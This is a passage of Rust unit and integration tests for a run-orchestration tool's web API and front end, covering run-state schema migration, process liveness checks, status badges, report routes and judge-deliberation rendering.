19502        assert_eq!(warm["live"], "live", "{warm}");
19503    }
19504
19505    #[test]
19506    fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
19507        let home = tempfile::tempdir().expect("temp home");
19508        let runs = home.path().join("runs");
19509        for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
19510            let mut state = RunState::new(
19511                PathBuf::from("/repo/magi"),
19512                "main".to_owned(),
19513                "0123456789abcdef".to_owned(),
19514                "Generated review context, not authored task criteria".to_owned(),
19515                Config::default(),
19516            );
19517            state.origin = origin;
19518            state.status = RunStatus::Blocked;
19519            // Earlier migrations must not infer these facts again.
19520            state.driver_exited = false;
19521            state.gate_ran = true;
19522            let expected = serde_json::to_value(&state).expect("serialize current state");
19523            let mut legacy = expected.clone();
19524            legacy["schema"] = serde_json::json!(13);
19525            legacy.as_object_mut().unwrap().remove("task_instruction");
19526            let dir = runs.join(&state.id);
19527            std::fs::create_dir_all(&dir).expect("run dir");
19528            let path = dir.join("run.json");
19529            let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
19530            std::fs::write(&path, &body).expect("write legacy run");
19531
19532            for loaded in [
19533                RunState::load_under(&state.id, home.path()).expect("CLI migration"),
19534                read_run(&runs, &state.id).expect("web migration"),
19535            ] {
19536                assert_eq!(loaded.schema, crate::run::SCHEMA);
19537                assert!(loaded.task_instruction.is_none());
19538                assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
19539            }
19540            assert_eq!(runs_unreadable(&runs), 0);
19541            assert_eq!(std::fs::read(&path).unwrap(), body);
19542        }
19543    }
19544
19545    /// Where a run came from is shown, and a run written before origins were
19546    /// recorded (schema 12, no `origin` key) stays readable and says so.
19547    #[tokio::test]
19548    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
19549        let f = Fixture::start().await;
19550        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
19551            let mut state = RunState::new(
19552                PathBuf::from("/repo/magi"),
19553                "main".to_owned(),
19554                "0123456789abcdef".to_owned(),
19555                "Add a web UI".to_owned(),
19556                Config::default(),
19557            );
19558            state.id = id.to_owned();
19559            state.origin = origin;
19560            let mut value = serde_json::to_value(&state).expect("serialize run");
19561            if let Some(schema) = schema {
19562                value["schema"] = serde_json::json!(schema);
19563                value.as_object_mut().unwrap().remove("origin");
19564            }
19565            let dir = f.runs().join(id);
19566            std::fs::create_dir_all(&dir).expect("run dir");
19567            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
19568        };
19569        write(
19570            "20260930-092817-ec34",
19571            Some(crate::run::Origin::from_agent_env(
19572                Some(("4a7b".to_owned(), "chat".to_owned())),
19573                None,
19574            )),
19575            None,
19576        );
19577        write("20260930-092817-0ld1", None, Some(12));
19578
19579        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
19580        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
19581        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
19582
19583        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
19584        assert_eq!(
19585            old["origin_label"], "origin unknown (started before origins were recorded)",
19586            "{old}"
19587        );
19588        assert!(old["origin"].is_null(), "{old}");
19589
19590        let list = f.get("/api/runs").await.json();
19591        let labels: Vec<_> = list
19592            .as_array()
19593            .unwrap()
19594            .iter()
19595            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
19596            .collect();
19597        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
19598    }
19599
19600    #[tokio::test]
19601    async fn run_progress_observation_exposes_activity_without_control_evidence() {
19602        let f = Fixture::start().await;
19603        let mut state = RunState::new(
19604            PathBuf::from("/repo"),
19605            "main".into(),
19606            "abc".into(),
19607            "task".into(),
19608            Config::default(),
19609        );
19610        state.status = RunStatus::Implementing;
19611        state.seat_started(
19612            "implement",
19613            "implement-A",
19614            std::time::Duration::from_secs(60),
19615            0,
19616        );
19617        state.save_under(f.home.path()).unwrap();
19618        let observed = f
19619            .get(&format!("/api/runs/{}/progress", state.id))
19620            .await
19621            .json();
19622        assert_eq!(observed["id"], state.id);
19623        assert!(observed["observed_at"].is_string());
19624        assert_eq!(observed["updated_at"], state.updated_at.to_string());
19625        assert!(observed["progress"]["activity"].is_string());
19626        for field in [
19627            "config",
19628            "candidates",
19629            "land_approval",
19630            "task",
19631            "waiting",
19632            "done",
19633        ] {
19634            assert!(
19635                observed.get(field).is_none(),
19636                "progress must not expose control evidence: {field}"
19637            );
19638        }
19639    }
19640
19641    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
19642    /// review` claims no daemon at all, so before this field existed the
19643    /// route above read it as `"dead"` — indistinguishable from a run a
19644    /// killed process abandoned — the whole time it was genuinely still
19645    /// answering. With a live pid recorded, it must read `"live"` even
19646    /// though no daemon claims it.
19647    #[tokio::test]
19648    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
19649        let f = Fixture::start().await;
19650        let id = "20260922-090000-cccc";
19651        let mut state = RunState::new(
19652            PathBuf::from("/repo/magi"),
19653            "main".to_owned(),
19654            "0123456789abcdef".to_owned(),
19655            "Review only".to_owned(),
19656            Config::default(),
19657        );
19658        state.id = id.to_owned();
19659        state.status = RunStatus::Reviewing;
19660        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19661        // This test process's own pid: guaranteed alive, and never needs a
19662        // real daemon or a second process to prove it. The matching start-time
19663        // marker is what `liveness` now requires alongside a live pid — see
19664        // `RunState::driver_started_at`'s own doc for why the pid alone is
19665        // not enough.
19666        state.driver_pid = Some(std::process::id());
19667        state.driver_started_at = Some(
19668            crate::proc::process_started_at(std::process::id())
19669                .expect("this test process's own start time must be queryable"),
19670        );
19671        let dir = f.runs().join(id);
19672        std::fs::create_dir_all(&dir).expect("run dir");
19673        std::fs::write(
19674            dir.join("run.json"),
19675            serde_json::to_string_pretty(&state).expect("serialize run"),
19676        )
19677        .expect("write run.json");
19678
19679        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19680        assert_eq!(detail["live"], "live", "{detail}");
19681    }
19682
19683    /// A killed manual run's pid can be handed to a wholly unrelated later
19684    /// process — a live query on `driver_pid` alone would read this as
19685    /// `"live"`, exactly the false positive `driver_started_at` exists to
19686    /// catch (see that field's own doc, and `RunState::liveness_with`'s
19687    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
19688    #[tokio::test]
19689    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
19690        let f = Fixture::start().await;
19691        let id = "20260922-090100-dddd";
19692        let mut state = RunState::new(
19693            PathBuf::from("/repo/magi"),
19694            "main".to_owned(),
19695            "0123456789abcdef".to_owned(),
19696            "Review only".to_owned(),
19697            Config::default(),
19698        );
19699        state.id = id.to_owned();
19700        state.status = RunStatus::Reviewing;
19701        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
19702        // This test process's own pid really is alive, but the marker
19703        // recorded here does not match what it actually started at —
19704        // standing in for the pid having since been reused by a different
19705        // process than the one that wrote `run.json`.
19706        state.driver_pid = Some(std::process::id());
19707        state.driver_started_at = Some("1".to_owned());
19708        let dir = f.runs().join(id);
19709        std::fs::create_dir_all(&dir).expect("run dir");
19710        std::fs::write(
19711            dir.join("run.json"),
19712            serde_json::to_string_pretty(&state).expect("serialize run"),
19713        )
19714        .expect("write run.json");
19715
19716        let detail = f.get(&format!("/api/runs/{id}")).await.json();
19717        assert_eq!(detail["live"], "dead", "{detail}");
19718    }
19719
19720    /// The deck's competition list is normally the first place an operator
19721    /// sees an old run. It must carry the same process verdict as detail, or
19722    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
19723    #[test]
19724    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
19725        let mk = |id: &str, pid: Option<u32>| {
19726            let mut s = RunState::new(
19727                PathBuf::from("/repo/magi"),
19728                "main".to_owned(),
19729                "0123456789abcdef".to_owned(),
19730                "Add a web UI".to_owned(),
19731                Config::default(),
19732            );
19733            s.id = id.to_owned();
19734            s.driver_pid = pid;
19735            s.driver_started_at = Some("1790000000".to_owned());
19736            s
19737        };
19738        let states = vec![
19739            mk("20260902-140502-aaaa", Some(77)),
19740            mk("20260902-140502-bbbb", Some(77)),
19741            mk("20260902-140502-cccc", Some(77)),
19742            mk("20260902-140502-dddd", None),
19743        ];
19744        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
19745        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
19746        let sup: HashMap<String, String> = [(
19747            "20260902-140502-aaaa".to_owned(),
19748            "20260902-140502-cccc".to_owned(),
19749        )]
19750        .into();
19751
19752        let status_calls = std::cell::Cell::new(0);
19753        let identity_calls = std::cell::Cell::new(0);
19754        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
19755            |_| {
19756                status_calls.set(status_calls.get() + 1);
19757                Some(true)
19758            },
19759            |_| {
19760                identity_calls.set(identity_calls.get() + 1);
19761                Some("1790000000".to_owned())
19762            },
19763        ));
19764        let rows = summarize(
19765            states,
19766            &open,
19767            &claimed,
19768            &sup,
19769            |p| probe.borrow_mut().status(p),
19770            |p| probe.borrow_mut().started_at(p),
19771        );
19772
19773        assert_eq!(status_calls.get(), 1, "one pid, one status query");
19774        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
19775        assert_eq!(rows.len(), 4);
19776        assert!(!rows[0].waiting && rows[1].waiting);
19777        assert_eq!(rows[0].live, crate::run::Liveness::Live);
19778        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
19779        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
19780        assert_eq!(rows[1].superseded_by, None);
19781    }
19782
19783    #[test]
19784    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
19785        let mut state = RunState::new(
19786            PathBuf::from("/repo/magi"),
19787            "main".to_owned(),
19788            "0123456789abcdef".to_owned(),
19789            "Review only".to_owned(),
19790            Config::default(),
19791        );
19792        state.id = "20260922-090200-dead".to_owned();
19793        state.status = RunStatus::Reviewing;
19794        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
19795            .expect("serialize list row");
19796        assert_eq!(row["status"], "reviewing");
19797        assert_eq!(row["display_status"], "stale");
19798        assert_eq!(row["live"], "dead", "{row}");
19799        assert!(!row["done"].as_bool().unwrap());
19800    }
19801
19802    #[test]
19803    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
19804        use crate::run::Liveness::{Dead, Live, Unknown};
19805        let mut state = RunState::new(
19806            PathBuf::from("/repo/magi"),
19807            "main".to_owned(),
19808            "abc".to_owned(),
19809            "Review only".to_owned(),
19810            Config::default(),
19811        );
19812        for (status, parked, node, waiting, live, expected) in [
19813            (
19814                RunStatus::Judging,
19815                true,
19816                "github-text",
19817                false,
19818                Dead,
19819                "parked",
19820            ),
19821            (RunStatus::Judging, false, "park", false, Dead, "stale"),
19822            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
19823            (
19824                RunStatus::Judging,
19825                true,
19826                "github-text",
19827                true,
19828                Dead,
19829                "waiting",
19830            ),
19831            (
19832                RunStatus::Judging,
19833                false,
19834                "github-text",
19835                true,
19836                Dead,
19837                "waiting",
19838            ),
19839            (
19840                RunStatus::Judging,
19841                false,
19842                "github-text",
19843                false,
19844                Dead,
19845                "stale",
19846            ),
19847            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
19848            (RunStatus::Judging, true, "park", false, Live, "judging"),
19849            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
19850            (RunStatus::Merged, true, "park", false, Dead, "merged"),
19851            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
19852            (
19853                RunStatus::Blocked,
19854                true,
19855                "github-text",
19856                true,
19857                Dead,
19858                "waiting",
19859            ),
19860        ] {
19861            state.status = status;
19862            state.parked = parked;
19863            state.events.clear();
19864            state.event(
19865                "park",
19866                "an earlier park does not determine the latest state",
19867            );
19868            state.event(node, "message is not used for classification");
19869            let summary = RunSummary::of(&state, waiting, live);
19870            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
19871            assert_eq!(
19872                summary.display_status, expected,
19873                "{status:?}/{node}/{live:?}"
19874            );
19875            assert_eq!(detail.display_status, summary.display_status);
19876            assert_eq!(detail.waiting, summary.waiting);
19877        }
19878        state.status = RunStatus::Judging;
19879        state.parked = false;
19880        state.events.clear();
19881        assert_eq!(run_display_status(&state, false, Dead), "stale");
19882    }
19883
19884    #[test]
19885    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
19886        use crate::run::Liveness::{Dead, Live, Unknown};
19887        let mut state = RunState::new(
19888            PathBuf::from("/repo/magi"),
19889            "main".to_owned(),
19890            "abc".to_owned(),
19891            "Badge".to_owned(),
19892            Config::default(),
19893        );
19894        for (status, waiting, live, superseded, expected) in [
19895            (RunStatus::Gating, false, Dead, false, "stale"),
19896            (RunStatus::Gating, false, Dead, true, "superseded"),
19897            (RunStatus::Gating, false, Unknown, true, "superseded"),
19898            (RunStatus::Gating, true, Dead, true, "superseded"),
19899            (RunStatus::Gating, true, Dead, false, "waiting"),
19900            (RunStatus::Gating, false, Unknown, false, "gating"),
19901            (RunStatus::Gating, false, Live, true, "gating"),
19902            (RunStatus::Gating, true, Live, true, "waiting"),
19903            (RunStatus::Merged, false, Dead, true, "merged"),
19904            (RunStatus::Blocked, false, Dead, true, "blocked"),
19905        ] {
19906            state.status = status;
19907            let display = run_display_status(&state, waiting, live);
19908            assert_eq!(
19909                run_badge_status(&state, &display, live, superseded),
19910                expected,
19911                "{status:?}/{live:?}/superseded={superseded}"
19912            );
19913        }
19914    }
19915
19916    #[test]
19917    fn summarize_and_detail_expose_badge_status() {
19918        use crate::run::Liveness::Dead;
19919        let mut state = RunState::new(
19920            PathBuf::from("/repo/magi"),
19921            "main".to_owned(),
19922            "abc".to_owned(),
19923            "Badge".to_owned(),
19924            Config::default(),
19925        );
19926        state.status = RunStatus::Gating;
19927        let none = HashSet::new();
19928        let id = state.id.clone();
19929        let mut by = HashMap::new();
19930        let rows = summarize(
19931            [state.clone()],
19932            &none,
19933            &none,
19934            &by,
19935            |_| Some(false),
19936            |_| None,
19937        );
19938        // No driver recorded: liveness is not provably dead, so the node stays.
19939        assert_eq!(rows[0].badge_status, rows[0].display_status);
19940        by.insert(id, "20260901-000000-913b".to_owned());
19941        let detail = RunDetailView::of(
19942            state.clone(),
19943            false,
19944            Dead,
19945            Some("913b".to_owned()),
19946            None,
19947            None,
19948        );
19949        assert_eq!(detail.badge_status, "superseded");
19950        let json = serde_json::to_value(&detail).unwrap();
19951        assert_eq!(json["badge_status"], "superseded");
19952        let detail = RunDetailView::of(state, false, Dead, None, None, None);
19953        assert_eq!(detail.badge_status, "stale");
19954    }
19955
19956    #[tokio::test]
19957    async fn run_display_status_routes_share_the_open_question_store() {
19958        let f = Fixture::start().await;
19959        let id = "20260922-090200-abcd";
19960        write_run(&f.runs(), id, RunStatus::Judging);
19961        let mut state = read_run(&f.runs(), id).unwrap();
19962        state.parked = true;
19963        state.driver_exited = true;
19964        state.event("github-text", "waiting for the owner");
19965        state.save_under(f.home.path()).unwrap();
19966        let mut task = Task::new(
19967            "resumed task".to_owned(),
19968            "do it".to_owned(),
19969            PathBuf::from("/repo"),
19970            Source::Human,
19971        );
19972        task.runs = vec![id.to_owned(), id.to_owned()];
19973        f.queue().put(&mut task).unwrap();
19974        let store = f.questions();
19975        let mut q = Question::new(
19976            id.to_owned(),
19977            "github-text".to_owned(),
19978            "owner".to_owned(),
19979            "Approve the text?".to_owned(),
19980            String::new(),
19981            Vec::new(),
19982        );
19983        store.put(&mut q).unwrap();
19984        for expected in ["waiting", "parked"] {
19985            let list = f.get("/api/runs").await.json();
19986            let detail = f.get(&format!("/api/runs/{id}")).await.json();
19987            assert_eq!(list[0]["display_status"], expected);
19988            assert_eq!(detail["display_status"], expected);
19989            assert_eq!(detail["waiting"], list[0]["waiting"]);
19990            assert_eq!(list[0]["badge_status"], expected);
19991            assert_eq!(detail["badge_status"], expected);
19992            assert!(list[0]["superseded_by"].is_null());
19993            assert!(detail["superseded_by"].is_null());
19994            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
19995            let history = task_detail["history"].as_array().unwrap();
19996            assert_eq!(history.len(), 2);
19997            assert!(history[0]["badge"].is_null());
19998            assert_eq!(history[1]["badge"], expected);
19999            q.status = ask::QuestionStatus::Answered;
20000            store.put(&mut q).unwrap();
20001        }
20002    }
20003
20004    #[tokio::test]
20005    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20006        let f = Fixture::start().await;
20007        let id = "20260922-090200-abcd";
20008        write_run(&f.runs(), id, RunStatus::Judging);
20009        let mut state = read_run(&f.runs(), id).unwrap();
20010        state.parked = true;
20011        state.driver_exited = true;
20012        state.event("park", "stopped at a node boundary");
20013        state.save_under(f.home.path()).unwrap();
20014
20015        for expected in ["parked", "stale"] {
20016            let list = f.get("/api/runs").await.json();
20017            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20018            assert_eq!(list[0]["live"], "dead");
20019            assert_eq!(list[0]["display_status"], expected);
20020            assert_eq!(detail["display_status"], expected);
20021            // Model a driver claim followed by a crash before the next event:
20022            // the persisted flag changes, but the last event is still park.
20023            state.parked = false;
20024            state.save_under(f.home.path()).unwrap();
20025        }
20026    }
20027
20028    #[tokio::test]
20029    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20030        let f = Fixture::start().await;
20031        for id in [
20032            "20260902-140501-aaaa",
20033            "20260902-140502-bbbb",
20034            "20260902-140503-cccc",
20035        ] {
20036            write_run(&f.runs(), id, RunStatus::Merged);
20037        }
20038
20039        let all = f.get("/api/runs").await.json();
20040        let capped = f.get("/api/runs?limit=2").await.json();
20041
20042        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20043        assert_eq!(all.as_array().map(Vec::len), Some(3));
20044        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20045        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20046    }
20047
20048    #[tokio::test]
20049    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20050        let f = Fixture::start().await;
20051        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20052
20053        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20054
20055        assert_eq!(res.status, 200);
20056        assert!(
20057            res.headers
20058                .contains("content-type: text/plain; charset=utf-8"),
20059            "a browser must render it, not download it: {}",
20060            res.headers
20061        );
20062        // The assertion is on content, not on the absence of escapes: colour
20063        // is a process-global that `serve` turns off at startup, and another
20064        // test in this binary may own it while this one runs.
20065        assert!(
20066            res.body.contains("20260902-140501-a1b2"),
20067            "the report is about the run that was asked for: {}",
20068            res.body
20069        );
20070    }
20071
20072    #[tokio::test]
20073    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20074        // The view names the run's state directory, which reads the process-global home.
20075        crate::run::pin_test_home();
20076        let f = Fixture::start().await;
20077        let id = "20260902-140501-a1b2";
20078        write_run(&f.runs(), id, RunStatus::Stalled);
20079        // A stalled panel and one review round, written through the real
20080        // state file so the route reads what a run really leaves behind.
20081        let path = f.runs().join(id).join("run.json");
20082        let mut v: serde_json::Value =
20083            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20084        v["tally"] = serde_json::json!({
20085            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20086            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20087            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20088            "met_quorum": false, "rankings": 1
20089        });
20090        v["reviews"] = serde_json::json!([{
20091            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20092            "e2e_deferred": true,
20093            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20094                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20095            ]}]
20096        }]);
20097        std::fs::write(&path, v.to_string()).unwrap();
20098        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20099        std::fs::write(
20100            f.runs().join("20260902-140502-dead").join("run.json"),
20101            "{not json",
20102        )
20103        .unwrap();
20104
20105        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20106
20107        assert_eq!(res.status, 200, "{}", res.body);
20108        assert!(res.headers.contains("content-type: application/json"));
20109        let j = res.json();
20110        assert_eq!(j["schema"], 1);
20111        assert_eq!(j["header"]["id"], id);
20112        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20113        let kinds: Vec<&str> = j["sections"]
20114            .as_array()
20115            .unwrap()
20116            .iter()
20117            .map(|s| s["kind"].as_str().unwrap())
20118            .collect();
20119        assert_eq!(kinds, ["candidates", "tally", "review"]);
20120        let tally = &j["sections"][1]["tally"];
20121        assert_eq!(
20122            (tally["decided"].clone(), tally["provisional"].clone()),
20123            (false.into(), true.into())
20124        );
20125        let round = &j["sections"][2]["rounds"][0];
20126        assert_eq!(round["e2e"]["state"], "deferred");
20127        assert_eq!(round["findings"][0]["severity"], "major");
20128        assert_eq!(round["findings"][0]["blocking"], true);
20129        assert_eq!(round["findings"][0]["state"], "open");
20130
20131        // The raw route keeps working beside it.
20132        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20133
20134        // An unreadable run is an error, as on the text route, and is counted.
20135        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20136        assert_ne!(bad.status, 200, "{}", bad.body);
20137        assert_eq!(
20138            bad.status,
20139            f.get("/api/runs/20260902-140502-dead/report").await.status
20140        );
20141        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20142        assert_eq!(
20143            f.get("/api/runs/20260902-999999-ffff/report.json")
20144                .await
20145                .status,
20146            404
20147        );
20148    }
20149
20150    #[tokio::test]
20151    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20152        crate::run::pin_test_home();
20153        let f = Fixture::start().await;
20154        let id = "20260902-140503-delib";
20155        write_run(&f.runs(), id, RunStatus::Merged);
20156        let path = f.runs().join(id).join("run.json");
20157        let mut v: serde_json::Value =
20158            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20159        v["judgements"] = serde_json::json!([
20160            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20161        ]);
20162        v["tally"] = serde_json::json!({
20163            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20164            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20165            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20166            "met_quorum": true, "rankings": 1
20167        });
20168        v["deliberation"] = serde_json::json!([
20169            {
20170                "round": 1,
20171                "turns": [
20172                    {
20173                        "judge": 1,
20174                        "agent": "judge-1",
20175                        "body": "I prefer candidate **A** because it has cleaner tests.",
20176                        "tentative": "A"
20177                    }
20178                ]
20179            },
20180            {
20181                "round": 2,
20182                "turns": [
20183                    {
20184                        "judge": 1,
20185                        "agent": "judge-1",
20186                        "body": "Still thinking, no choice yet.",
20187                        "tentative": null
20188                    }
20189                ]
20190            }
20191        ]);
20192        std::fs::write(&path, v.to_string()).unwrap();
20193
20194        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20195        assert_eq!(res.status, 200, "{}", res.body);
20196        let j = res.json();
20197        let judging = j["sections"]
20198            .as_array()
20199            .unwrap()
20200            .iter()
20201            .find(|s| s["kind"] == "judging")
20202            .expect("judging section exists");
20203
20204        // Existing summary lines remain intact
20205        let delib_lines = judging["deliberation"].as_array().unwrap();
20206        assert_eq!(delib_lines.len(), 2);
20207        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20208        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20209
20210        // rounds carry turn bodies, tentative and parsed body_md
20211        let rounds = judging["rounds"].as_array().unwrap();
20212        assert_eq!(rounds.len(), 2);
20213        let r1_t0 = &rounds[0]["turns"][0];
20214        assert_eq!(r1_t0["judge"], 1);
20215        assert_eq!(r1_t0["agent"], "judge-1");
20216        assert_eq!(r1_t0["tentative"], "A");
20217        assert_eq!(
20218            r1_t0["body"],
20219            "I prefer candidate **A** because it has cleaner tests."
20220        );
20221        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20222
20223        let r2_t0 = &rounds[1]["turns"][0];
20224        assert_eq!(r2_t0["judge"], 1);
20225        assert_eq!(r2_t0["agent"], "judge-1");
20226        assert!(r2_t0["tentative"].is_null());
20227        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20228        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20229
20230        // A run with empty deliberation array yields empty rounds
20231        let id_empty = "20260902-140504-nodelib";
20232        write_run(&f.runs(), id_empty, RunStatus::Merged);
20233        let path_empty = f.runs().join(id_empty).join("run.json");
20234        let mut v_empty: serde_json::Value =
20235            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20236        v_empty["judgements"] = serde_json::json!([
20237            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20238        ]);
20239        v_empty["deliberation"] = serde_json::json!([]);
20240        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20241
20242        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20243        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20244        let j_empty = res_empty.json();
20245        let judging_empty = j_empty["sections"]
20246            .as_array()
20247            .unwrap()
20248            .iter()
20249            .find(|s| s["kind"] == "judging")
20250            .expect("judging section exists");
20251        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20252    }
20253
20254    #[tokio::test]
20255    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20256        let f = Fixture::start().await;
20257
20258        let html = f.get("/").await;
20259        let css = f.get("/app.css").await;
20260        let js = f.get("/app.js").await;
20261
20262        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20263        assert!(
20264            html.headers
20265                .contains("content-type: text/html; charset=utf-8")
20266        );
20267        assert!(css.headers.contains("content-type: text/css"));
20268        assert!(js.headers.contains("content-type: text/javascript"));
20269        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20270    }
20271
20272    #[test]
20273    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20274        let body = |name: &str| {
20275            let at = APP_JS
20276                .find(name)
20277                .unwrap_or_else(|| panic!("{name} missing"));
20278            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20279        };
20280        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20281        let note = body("function landRoundNote");
20282        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20283        assert!(note.contains("Land round ${round}"));
20284        let land = body("function renderLand");
20285        let note_at = land
20286            .find("landRoundNote(pr)")
20287            .expect("renderLand uses the note");
20288        assert!(
20289            note_at
20290                < land
20291                    .find("roundRail(pr)")
20292                    .expect("renderLand uses the rail")
20293        );
20294    }
20295
20296    #[test]
20297    fn the_runs_page_redesign_keeps_its_guards() {
20298        let body = |name: &str| {
20299            let at = APP_JS
20300                .find(name)
20301                .unwrap_or_else(|| panic!("{name} missing"));
20302            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20303        };
20304        // A null child must never reach the native append (it prints "null").
20305        let land = body("function renderLand");
20306        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20307        assert!(
20308            !land.contains("box.append("),
20309            "renderLand must use append()"
20310        );
20311        assert!(land.contains("append(box, ["));
20312        // Tabs are hash routes; the run id alone decides a reload.
20313        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20314        assert!(
20315            body("function applyRoute")
20316                .contains("route.name !== state.route.name || route.id !== state.route.id")
20317        );
20318        // The decorative diagram is gone, the strip and its guards stay.
20319        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20320        assert!(!INDEX_HTML.contains("advise-converge"));
20321        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20322        assert!(APP_JS.contains("provisional"));
20323        for id in [
20324            "run-tab-overview",
20325            "run-tab-timeline",
20326            "run-tab-report",
20327            "run-report",
20328            "runs-scope",
20329        ] {
20330            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20331        }
20332        assert!(!INDEX_HTML.contains("runs-tree"));
20333        assert!(!INDEX_HTML.contains("run-raw-panel"));
20334        // Fold still says it cannot be resumed.
20335        assert!(APP_JS.contains("resume"));
20336        // The unreadable-runs count stays on the page.
20337        assert!(APP_JS.contains("unreadable"));
20338    }
20339
20340    #[test]
20341    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20342        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20343        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20344        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20345        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20346        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20347        // The subtitle still counts them whatever the banner does.
20348        assert!(APP_JS.contains("unreadable` : null"));
20349    }
20350
20351    #[test]
20352    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20353        let mut state = RunState::new(
20354            "/repo".into(),
20355            "main".into(),
20356            "abc".into(),
20357            "task".into(),
20358            crate::config::Config::default(),
20359        );
20360        state.status = RunStatus::Blocked;
20361        state.gate_ran = true;
20362        state.gate.push(crate::run::CommandOutcome {
20363            command: "cargo make check".into(),
20364            code: Some(1),
